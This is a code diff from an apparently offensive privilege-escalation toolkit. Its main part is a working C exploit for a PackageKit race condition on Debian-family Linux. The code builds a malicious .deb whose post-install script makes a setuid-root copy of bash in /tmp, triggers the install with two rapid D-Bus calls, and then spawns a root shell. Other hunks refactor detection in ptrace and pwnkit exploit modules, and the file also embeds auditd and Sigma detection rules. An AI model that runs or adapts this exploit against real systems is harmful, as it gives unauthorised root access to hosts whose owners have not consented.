LOG("transaction finished (exit=%u, %u ms)", ec, rt);
|
||||
ctx->exit_code = ec; ctx->done = TRUE;
|
||||
g_main_loop_quit(ctx->loop);
|
||||
}
|
||||
|
||||
static void cb_error(GDBusConnection *c G_GNUC_UNUSED,
|
||||
const gchar *s G_GNUC_UNUSED, const gchar *o G_GNUC_UNUSED,
|
||||
const gchar *i G_GNUC_UNUSED, const gchar *n G_GNUC_UNUSED,
|
||||
GVariant *p, gpointer u G_GNUC_UNUSED)
|
||||
{
|
||||
guint32 code; const gchar *det;
|
||||
g_variant_get(p, "(u&s)", &code, &det);
|
||||
LOG("PK error %u: %s", code, det);
|
||||
}
|
||||
|
||||
static gboolean cb_timeout(gpointer u)
|
||||
{
|
||||
ERR("transaction loop timed out");
|
||||
g_main_loop_quit(u);
|
||||
return G_SOURCE_REMOVE;
|
||||
}
|
||||
|
||||
static char *pk_create_tx(GDBusConnection *conn)
|
||||
{
|
||||
GError *e = NULL;
|
||||
GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ, PK_IFACE,
|
||||
"CreateTransaction", NULL, G_VARIANT_TYPE("(o)"),
|
||||
G_DBUS_CALL_FLAGS_NONE, -1, NULL, &e);
|
||||
if (!r) {
|
||||
ERR("CreateTransaction: %s", e ? e->message : "?");
|
||||
if (e) g_error_free(e);
|
||||
return NULL;
|
||||
}
|
||||
const gchar *tid; g_variant_get(r, "(&o)", &tid);
|
||||
char *copy = g_strdup(tid); g_variant_unref(r);
|
||||
return copy;
|
||||
}
|
||||
|
||||
/* Fire-and-forget: both messages must land in the server's socket
|
||||
* buffer before the GLib idle from Step 1 fires. Faithful to the PoC. */
|
||||
static void pk_install_files_async(GDBusConnection *conn, const char *tid,
|
||||
guint64 flags, const char *path)
|
||||
{
|
||||
const char *paths[] = { path, NULL };
|
||||
g_dbus_connection_call(conn, PK_BUS, tid, PK_TX_IFACE,
|
||||
"InstallFiles", g_variant_new("(t^as)", flags, paths),
|
||||
NULL, G_DBUS_CALL_FLAGS_NONE, -1, NULL, NULL, NULL);
|
||||
}
|
||||
|
||||
static bool dbus_name_has_owner(GDBusConnection *conn, const char *name)
|
||||
{
|
||||
GError *e = NULL;
|
||||
GVariant *r = g_dbus_connection_call_sync(conn, "org.freedesktop.DBus",
|
||||
"/org/freedesktop/DBus", "org.freedesktop.DBus", "NameHasOwner",
|
||||
g_variant_new("(s)", name), G_VARIANT_TYPE("(b)"),
|
||||
G_DBUS_CALL_FLAGS_NONE, 2000, NULL, &e);
|
||||
if (!r) { if (e) g_error_free(e); return false; }
|
||||
gboolean has; g_variant_get(r, "(b)", &has);
|
||||
g_variant_unref(r);
|
||||
return (bool)has;
|
||||
}
|
||||
|
||||
/* Read PackageKit's VersionMajor/Minor/Micro D-Bus properties. */
|
||||
static bool pk_query_version(GDBusConnection *conn, int *maj, int *min, int *mic)
|
||||
{
|
||||
static const char *names[] = { "VersionMajor", "VersionMinor", "VersionMicro" };
|
||||
int *out[3] = { maj, min, mic };
|
||||
for (int i = 0; i < 3; i++) {
|
||||
GError *e = NULL;
|
||||
GVariant *r = g_dbus_connection_call_sync(conn, PK_BUS, PK_OBJ,
|
||||
"org.freedesktop.DBus.Properties", "Get",
|
||||
g_variant_new("(ss)", PK_IFACE, names[i]),
|
||||
G_VARIANT_TYPE("(v)"), G_DBUS_CALL_FLAGS_NONE,
|
||||
2000, NULL, &e);
|
||||
if (!r) { if (e) g_error_free(e); return false; }
|
||||
GVariant *vinner = NULL;
|
||||
g_variant_get(r, "(v)", &vinner);
|
||||
if (!vinner) { g_variant_unref(r); return false; }
|
||||
if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_UINT32))
|
||||
*out[i] = (int)g_variant_get_uint32(vinner);
|
||||
else if (g_variant_is_of_type(vinner, G_VARIANT_TYPE_INT32))
|
||||
*out[i] = (int)g_variant_get_int32(vinner);
|
||||
else {
|
||||
g_variant_unref(vinner); g_variant_unref(r); return false;
|
||||
}
|
||||
g_variant_unref(vinner); g_variant_unref(r);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ── detect ────────────────────────────────────────────────────────── */
|
||||
|
||||
static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
p2tr_verbose = !ctx->json;
|
||||
|
||||
/* "Already root" check — consult ctx->host first so unit tests
|
||||
* can construct a non-root fingerprint regardless of the test
|
||||
* process's real euid. Production main() populates host->is_root
|
||||
* from geteuid() at startup, so behaviour is unchanged. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pack2theroot: already root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Host fingerprint short-circuits — populated once at startup. */
|
||||
if (ctx->host && !ctx->host->is_debian_family) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pack2theroot: not a Debian-family host "
|
||||
"(distro=%s) — PoC's .deb builder is Debian-only\n",
|
||||
ctx->host->distro_id);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (ctx->host && !ctx->host->has_dbus_system) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pack2theroot: no system D-Bus socket at "
|
||||
"/run/dbus/system_bus_socket — PackageKit unreachable\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
GError *e = NULL;
|
||||
GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &e);
|
||||
if (!conn) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pack2theroot: system D-Bus unavailable: %s\n",
|
||||
e ? e->message : "(unknown)");
|
||||
if (e) g_error_free(e);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!dbus_name_has_owner(conn, PK_BUS)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] pack2theroot: PackageKit daemon not "
|
||||
"registered on the system bus\n");
|
||||
g_object_unref(conn);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
int maj = 0, min = 0, mic = 0;
|
||||
bool got_version = pk_query_version(conn, &maj, &min, &mic);
|
||||
g_object_unref(conn);
|
||||
|
||||
if (!got_version) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[?] pack2theroot: PackageKit running but "
|
||||
"VersionMajor/Minor/Micro unreadable — patch-level "
|
||||
"unknown\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
int v = P2TR_VER(maj, min, mic);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] pack2theroot: PackageKit %d.%d.%d on the bus\n",
|
||||
maj, min, mic);
|
||||
|
||||
if (v < P2TR_VER_LO) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] pack2theroot: %d.%d.%d predates the bug "
|
||||
"(introduced in 1.0.2)\n", maj, min, mic);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (v > P2TR_VER_HI) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] pack2theroot: %d.%d.%d is patched "
|
||||
"(fixed in 1.3.5, commit 76cfb675)\n", maj, min, mic);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] pack2theroot: PackageKit %d.%d.%d is "
|
||||
"VULNERABLE (range 1.0.2 ≤ V ≤ 1.3.4)\n", maj, min, mic);
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ── exploit child (faithful port of the PoC main() body) ──────────── */
|
||||
|
||||
static int p2tr_child_run(int no_shell)
|
||||
{
|
||||
char dummy[64], payload[64], postinst[160];
|
||||
snprintf(dummy, sizeof dummy, "/tmp/.pk-dummy-%d.deb", getpid());
|
||||
snprintf(payload, sizeof payload, "/tmp/.pk-payload-%d.deb", getpid());
|
||||
snprintf(postinst, sizeof postinst,
|
||||
"#!/bin/sh\ninstall -m 4755 /bin/bash %s\n", SUID_PATH);
|
||||
|
||||
LOG("building .deb packages (pure C; ar/tar/gzip inline)");
|
||||
if (build_deb(dummy, "skeletonkey-p2tr-dummy", NULL) < 0) {
|
||||
ERR("dummy .deb build failed");
|
||||
return 2;
|
||||
}
|
||||
if (build_deb(payload, "skeletonkey-p2tr-payload", postinst) < 0) {
|
||||
ERR("payload .deb build failed"); unlink(dummy);
|
||||
return 2;
|
||||
}
|
||||
if (access(dummy, F_OK) != 0 || access(payload, F_OK) != 0) {
|
||||
ERR("built .deb files are missing"); return 2;
|
||||
}
|
||||
LOG("dummy : %s", dummy);
|
||||
LOG("payload : %s", payload);
|
||||
|
||||
GError *err = NULL;
|
||||
GDBusConnection *conn = g_bus_get_sync(G_BUS_TYPE_SYSTEM, NULL, &err);
|
||||
if (!conn) {
|
||||
ERR("system D-Bus: %s", err ? err->message : "?");
|
||||
if (err) g_error_free(err);
|
||||
unlink(dummy); unlink(payload);
|
||||
return 4;
|
||||
}
|
||||
|
||||
char *tid = pk_create_tx(conn);
|
||||
if (!tid) { g_object_unref(conn); unlink(dummy); unlink(payload); return 2; }
|
||||
LOG("transaction : %s", tid);
|
||||
|
||||
P2trCtx pkctx = { .loop = g_main_loop_new(NULL, FALSE), .done = FALSE };
|
||||
guint sf = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE,
|
||||
"Finished", tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_finished, &pkctx, NULL);
|
||||
guint se = g_dbus_connection_signal_subscribe(conn, PK_BUS, PK_TX_IFACE,
|
||||
"ErrorCode", tid, NULL, G_DBUS_SIGNAL_FLAGS_NONE, cb_error, NULL, NULL);
|
||||
|
||||
/* ── EXPLOIT ───────────────────────────────────────────────────── */
|
||||
LOG("step 1: InstallFiles(SIMULATE=0x%llx, dummy) [async]",
|
||||
(unsigned long long)FLAG_SIMULATE);
|
||||
pk_install_files_async(conn, tid, FLAG_SIMULATE, dummy);
|
||||
|
||||
LOG("step 2: InstallFiles(NONE=0x%llx, payload) [async]",
|
||||
(unsigned long long)FLAG_NONE);
|
||||
pk_install_files_async(conn, tid, FLAG_NONE, payload);
|
||||
|
||||
/* Flush so both messages land in the server's socket buffer before
|
||||
* its main loop runs the GLib idle from step 1. */
|
||||
{
|
||||
GError *fe = NULL;
|
||||
if (!g_dbus_connection_flush_sync(conn, NULL, &fe)) {
|
||||
ERR("D-Bus flush: %s", fe ? fe->message : "?");
|
||||
g_clear_error(&fe);
|
||||
}
|
||||
}
|
||||
|
||||
LOG("awaiting dispatch (30s max)");
|
||||
g_timeout_add_seconds(30, cb_timeout, pkctx.loop);
|
||||
g_main_loop_run(pkctx.loop);
|
||||
|
||||
g_dbus_connection_signal_unsubscribe(conn, sf);
|
||||
g_dbus_connection_signal_unsubscribe(conn, se);
|
||||
g_free(tid);
|
||||
g_object_unref(conn);
|
||||
|
||||
/* Record /tmp paths for cleanup() even if the SUID never lands. */
|
||||
int sf2 = open("/tmp/skeletonkey-pack2theroot.state",
|
||||
O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
||||
if (sf2 >= 0) {
|
||||
dprintf(sf2, "%s\n%s\n", dummy, payload);
|
||||
close(sf2);
|
||||
}
|
||||
|
||||
/* Poll up to 120s for the SUID bash; the APT backend may keep
|
||||
* running after polkit fires. Faithful to the PoC's polling loop. */
|
||||
LOG("polling for SUID payload at %s (120s max)", SUID_PATH);
|
||||
struct stat st;
|
||||
int appeared_at = -1;
|
||||
for (int i = 0; i < 1200; i++) {
|
||||
usleep(100000); /* 100 ms */
|
||||
if (i % 50 == 0 && p2tr_verbose) {
|
||||
int lock_fd = open("/var/lib/dpkg/lock", O_RDONLY);
|
||||
int lock_held = 0;
|
||||
if (lock_fd >= 0) {
|
||||
lock_held = (flock(lock_fd, LOCK_EX | LOCK_NB) != 0);
|
||||
if (!lock_held) flock(lock_fd, LOCK_UN);
|
||||
close(lock_fd);
|
||||
}
|
||||
fprintf(stderr, "[*] pack2theroot: t+%ds payload=%s "
|
||||
"dpkg_lock=%s suid=%s\n",
|
||||
(i/10)+1,
|
||||
access(payload, F_OK) == 0 ? "present" : "consumed",
|
||||
lock_held ? "held" : "free",
|
||||
access(SUID_PATH, F_OK) == 0 ? "FOUND" : "not yet");
|
||||
}
|
||||
if (stat(SUID_PATH, &st) == 0 && (st.st_mode & S_ISUID)) {
|
||||
appeared_at = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (appeared_at < 0) {
|
||||
ERR("SUID bash never appeared at %s within 120s", SUID_PATH);
|
||||
return 3; /* EXPLOIT_FAIL */
|
||||
}
|
||||
|
||||
LOG("SUCCESS — SUID bash landed at t+%dms", appeared_at * 100);
|
||||
|
||||
if (no_shell) {
|
||||
LOG("--no-shell: payload placed, root shell not spawned");
|
||||
LOG("revert with `skeletonkey --cleanup pack2theroot` (needs root)");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Exec the SUID bash interactively. */
|
||||
if (isatty(STDIN_FILENO)) {
|
||||
char *ttydev = ttyname(STDIN_FILENO);
|
||||
pid_t child = fork();
|
||||
if (child == 0) {
|
||||
setsid();
|
||||
if (ttydev) {
|
||||
int t = open(ttydev, O_RDWR);
|
||||
if (t >= 0) {
|
||||
ioctl(t, TIOCSCTTY, 1);
|
||||
dup2(t, 0); dup2(t, 1); dup2(t, 2);
|
||||
if (t > 2) close(t);
|
||||
}
|
||||
}
|
||||
char *argv[] = { (char *)SUID_PATH, "-p", NULL };
|
||||
execv(SUID_PATH, argv);
|
||||
_exit(1);
|
||||
}
|
||||
if (child > 0) { int s; waitpid(child, &s, 0); }
|
||||
} else {
|
||||
/* Non-tty: just exec the SUID bash (replaces our process). */
|
||||
char *argv[] = { (char *)SUID_PATH, "-p", NULL };
|
||||
execv(SUID_PATH, argv);
|
||||
ERR("execv(%s): %s", SUID_PATH, strerror(errno));
|
||||
return 3;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
p2tr_verbose = !ctx->json;
|
||||
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] pack2theroot: already root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (pid == 0) {
|
||||
int rc = p2tr_child_run(ctx->no_shell);
|
||||
_exit(rc);
|
||||
}
|
||||
int st;
|
||||
waitpid(pid, &st, 0);
|
||||
if (!WIFEXITED(st)) return SKELETONKEY_EXPLOIT_FAIL;
|
||||
switch (WEXITSTATUS(st)) {
|
||||
case 0: return SKELETONKEY_EXPLOIT_OK;
|
||||
case 4: return SKELETONKEY_PRECOND_FAIL;
|
||||
default: return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
/* ── cleanup ───────────────────────────────────────────────────────── */
|
||||
|
||||
static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
p2tr_verbose = !ctx->json;
|
||||
|
||||
/* Remove the two staged .debs (recorded during exploit). */
|
||||
int sf = open("/tmp/skeletonkey-pack2theroot.state", O_RDONLY);
|
||||
if (sf >= 0) {
|
||||
char buf[512] = {0};
|
||||
ssize_t n = read(sf, buf, sizeof(buf) - 1);
|
||||
close(sf);
|
||||
if (n > 0) {
|
||||
char *line = strtok(buf, "\n");
|
||||
while (line) {
|
||||
if (unlink(line) == 0) LOG("removed %s", line);
|
||||
line = strtok(NULL, "\n");
|
||||
}
|
||||
}
|
||||
unlink("/tmp/skeletonkey-pack2theroot.state");
|
||||
}
|
||||
|
||||
/* Best-effort remove the SUID bash. It is owned by root, so this
|
||||
* only succeeds when cleanup runs with root privileges (e.g. the
|
||||
* caller already used the SUID shell to escalate). */
|
||||
if (access(SUID_PATH, F_OK) == 0) {
|
||||
if (unlink(SUID_PATH) == 0) {
|
||||
LOG("removed %s", SUID_PATH);
|
||||
} else {
|
||||
ERR("could not remove %s (%s); rerun cleanup as root, or:",
|
||||
SUID_PATH, strerror(errno));
|
||||
ERR(" sudo rm -f %s", SUID_PATH);
|
||||
}
|
||||
}
|
||||
|
||||
/* Best-effort: uninstall the malicious package via passwordless sudo. */
|
||||
if (system("sudo -n dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy "
|
||||
">/dev/null 2>&1") == 0) {
|
||||
LOG("dpkg -r removed staged packages");
|
||||
} else {
|
||||
LOG("dpkg -r not run automatically; if needed:");
|
||||
LOG(" sudo dpkg -r skeletonkey-p2tr-payload skeletonkey-p2tr-dummy");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ || !PACK2TR_HAVE_GIO */
|
||||
|
||||
static skeletonkey_result_t p2tr_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[i] pack2theroot: Linux-only module "
|
||||
"(PackageKit D-Bus) — not applicable on this platform\n");
|
||||
#else
|
||||
fprintf(stderr, "[i] pack2theroot: module built without "
|
||||
"GLib/gio-2.0 support — install libglib2.0-dev and rebuild\n");
|
||||
#endif
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t p2tr_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] pack2theroot: not built with GLib/gio-2.0 support\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t p2tr_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ && PACK2TR_HAVE_GIO */
|
||||
|
||||
/* ── embedded detection rules ──────────────────────────────────────── */
|
||||
|
||||
static const char p2tr_auditd[] =
|
||||
"# Pack2TheRoot (CVE-2026-41651) — auditd detection rules\n"
|
||||
"# PackageKit TOCTOU LPE: two back-to-back InstallFiles D-Bus calls\n"
|
||||
"# install a malicious .deb as root and drop a SUID bash in /tmp.\n"
|
||||
"# Watch the side effects — D-Bus calls themselves aren't auditable\n"
|
||||
"# without bus-monitoring, but the file footprint is unmistakable.\n"
|
||||
"\n"
|
||||
"# SUID bash carrier that the PoC postinst lands\n"
|
||||
"-w /tmp/.suid_bash -p wa -k skeletonkey-pack2theroot\n"
|
||||
"\n"
|
||||
"# Any new setuid binary owned by root in /tmp is suspicious\n"
|
||||
"-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat \\\n"
|
||||
" -F path=/tmp/.suid_bash -k skeletonkey-pack2theroot-suid\n"
|
||||
"\n"
|
||||
"# The PoC drops two .deb files in /tmp before the install fires\n"
|
||||
"-a always,exit -F arch=b64 -S openat,creat \\\n"
|
||||
" -F dir=/tmp -F success=1 -k skeletonkey-pack2theroot-deb\n"
|
||||
"\n"
|
||||
"# packagekitd-driven dpkg activity initiated by a non-root caller\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/dpkg \\\n"
|
||||
" -F auid!=0 -k skeletonkey-pack2theroot-dpkg\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/bin/apt-get \\\n"
|
||||
" -F auid!=0 -k skeletonkey-pack2theroot-apt\n";
|
||||
|
||||
static const char p2tr_sigma[] =
|
||||
"title: Possible Pack2TheRoot exploitation (CVE-2026-41651)\n"
|
||||
"id: 3f2b8d54-skeletonkey-pack2theroot\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the footprint of Pack2TheRoot (CVE-2026-41651): a non-root\n"
|
||||
" user triggers PackageKit InstallFiles, dpkg runs a postinst that\n"
|
||||
" drops /tmp/.suid_bash (a setuid bash), and a privileged shell\n"
|
||||
" follows. The trigger itself is two back-to-back D-Bus calls with\n"
|
||||
" no polkit prompt — only visible via dbus-monitor or the file\n"
|
||||
" side effects.\n"
|
||||
"references:\n"
|
||||
" - https://github.security.telekom.com/2026/04/pack2theroot-linux-local-privilege-escalation.html\n"
|
||||
" - https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" suid_drop:\n"
|
||||
" type: 'PATH'\n"
|
||||
" name|startswith: ['/tmp/.suid_bash', '/tmp/.pk-payload-', '/tmp/.pk-dummy-']\n"
|
||||
" not_root:\n"
|
||||
" auid|expression: '!= 0'\n"
|
||||
" condition: suid_drop and not_root\n"
|
||||
"level: high\n"
|
||||
"tags:\n"
|
||||
" - attack.privilege_escalation\n"
|
||||
" - attack.t1068\n"
|
||||
" - cve.2026.41651\n";
|
||||
|
||||
const struct skeletonkey_module pack2theroot_module = {
|
||||
.name = "pack2theroot",
|
||||
.cve = "CVE-2026-41651",
|
||||
.summary = "PackageKit InstallFiles TOCTOU → root via .deb postinst",
|
||||
.family = "pack2theroot",
|
||||
.kernel_range = "userspace — PackageKit 1.0.2 ≤ V ≤ 1.3.4 (fixed in 1.3.5)",
|
||||
.detect = p2tr_detect,
|
||||
.exploit = p2tr_exploit,
|
||||
.mitigate = NULL,
|
||||
.cleanup = p2tr_cleanup,
|
||||
.detect_auditd = p2tr_auditd,
|
||||
.detect_sigma = p2tr_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void skeletonkey_register_pack2theroot(void)
|
||||
{
|
||||
skeletonkey_register(&pack2theroot_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* pack2theroot_cve_2026_41651 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef PACK2THEROOT_SKELETONKEY_MODULES_H
|
||||
#define PACK2THEROOT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module pack2theroot_module;
|
||||
|
||||
#endif
|
||||
@@ -28,13 +28,17 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <pwd.h>
|
||||
@@ -63,32 +67,37 @@ static const struct kernel_range ptrace_traceme_range = {
|
||||
|
||||
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] ptrace_traceme: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug existed since ptrace's inception (early 2.x); anything
|
||||
* pre-LTS-backport is vulnerable. Anything < 4.4 in our range
|
||||
* model defaults to vulnerable since no entry covers it. */
|
||||
if (v.major < 4 || (v.major == 4 && v.minor < 4)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 4, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v);
|
||||
bool patched = kernel_range_is_patched(&ptrace_traceme_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config "
|
||||
"(no user_ns required)\n");
|
||||
}
|
||||
@@ -183,7 +192,10 @@ static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx
|
||||
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] ptrace_traceme: already root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -277,6 +289,27 @@ static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx
|
||||
#endif
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: PTRACE_TRACEME / PTRACE_ATTACH / user_regs_struct
|
||||
* are Linux-only ABI surface. Stub out so the module still registers and
|
||||
* the top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] ptrace_traceme: Linux-only module "
|
||||
"(PTRACE_TRACEME cred-escalation) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] ptrace_traceme: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char ptrace_traceme_auditd[] =
|
||||
"# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n"
|
||||
"# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n"
|
||||
|
||||
@@ -23,6 +23,7 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -76,44 +77,58 @@ static bool pkexec_version_vulnerable(const char *version_str)
|
||||
|
||||
static skeletonkey_result_t pwnkit_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *pkexec_path = find_pkexec();
|
||||
if (!pkexec_path) {
|
||||
/* Prefer the centrally-fingerprinted polkit version (populated
|
||||
* once at startup by core/host.c via `pkexec --version`). Saves
|
||||
* a popen per scan and lets unit tests construct synthetic
|
||||
* polkit_version values. Fall back to the local popen if
|
||||
* ctx->host is missing the version (degenerate test ctx or a
|
||||
* future refactor that disables userspace probing). */
|
||||
char vp_buf[64] = {0};
|
||||
const char *vp = NULL;
|
||||
|
||||
if (ctx->host && ctx->host->polkit_version[0]) {
|
||||
snprintf(vp_buf, sizeof vp_buf, "%s", ctx->host->polkit_version);
|
||||
vp = vp_buf;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] pwnkit: pkexec not installed; no attack surface\n");
|
||||
fprintf(stderr, "[i] pwnkit: host fingerprint reports pkexec "
|
||||
"version '%s'\n", vp);
|
||||
}
|
||||
} else {
|
||||
const char *pkexec_path = find_pkexec();
|
||||
if (!pkexec_path) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] pwnkit: pkexec not installed; no attack surface\n");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] pwnkit: found setuid pkexec at %s\n", pkexec_path);
|
||||
}
|
||||
|
||||
/* Run `pkexec --version` and parse. We pipe stderr/stdout to a
|
||||
* temp file because popen() can have quoting quirks. */
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", pkexec_path);
|
||||
FILE *p = popen(cmd, "r");
|
||||
if (!p) return SKELETONKEY_TEST_ERROR;
|
||||
|
||||
char line[256] = {0};
|
||||
char *r = fgets(line, sizeof line, p);
|
||||
pclose(p);
|
||||
if (!r) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] pwnkit: could not parse pkexec --version output\n");
|
||||
fprintf(stderr, "[i] pwnkit: found setuid pkexec at %s\n", pkexec_path);
|
||||
}
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Output format: "pkexec version 0.105\n" or "pkexec version 0.120-..." */
|
||||
char *vp = strstr(line, "version");
|
||||
